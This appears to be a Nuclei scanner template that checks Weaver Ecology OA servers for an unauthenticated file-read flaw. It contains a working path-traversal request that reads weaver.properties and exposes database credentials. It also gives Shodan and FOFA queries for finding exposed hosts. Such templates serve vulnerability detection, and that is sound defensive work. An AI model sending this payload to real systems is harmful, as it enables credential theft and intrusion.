id: ecology-info-leak

info:
  name: Ecology - Information Exposure
  author: qianbenhyu
  severity: high
  description: |
    The "ecology" component exposes a file that contains sensitive database credentials (dbuser/dbpass).
  reference:
    - https://github.com/xinyisleep/pocscan/blob/main/%E6%B3%9B%E5%BE%AE/oa%E6%B3%9B%E5%BE%AE0day%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.py
  metadata:
    verified: true
    max-request: 1
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
  tags: ecology,unauth,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/portalTsLogin/utils/getE9DevelopAllNameValue2?fileName=portaldev_%2f%2e%2e%2fweaver%2eproperties"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "ecology.password"
          - "ecology.charset"
        condition: and

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a2b2dcaeb19348f2dfdc8a40dffa818b7112f6193ac6ddb58a401d93f6440c63022100e2f0667c48b81e48701ef87b69418b71d91a8bb32df19d37105d46d37261e145:922c64590222798bb761d5b6d8e72950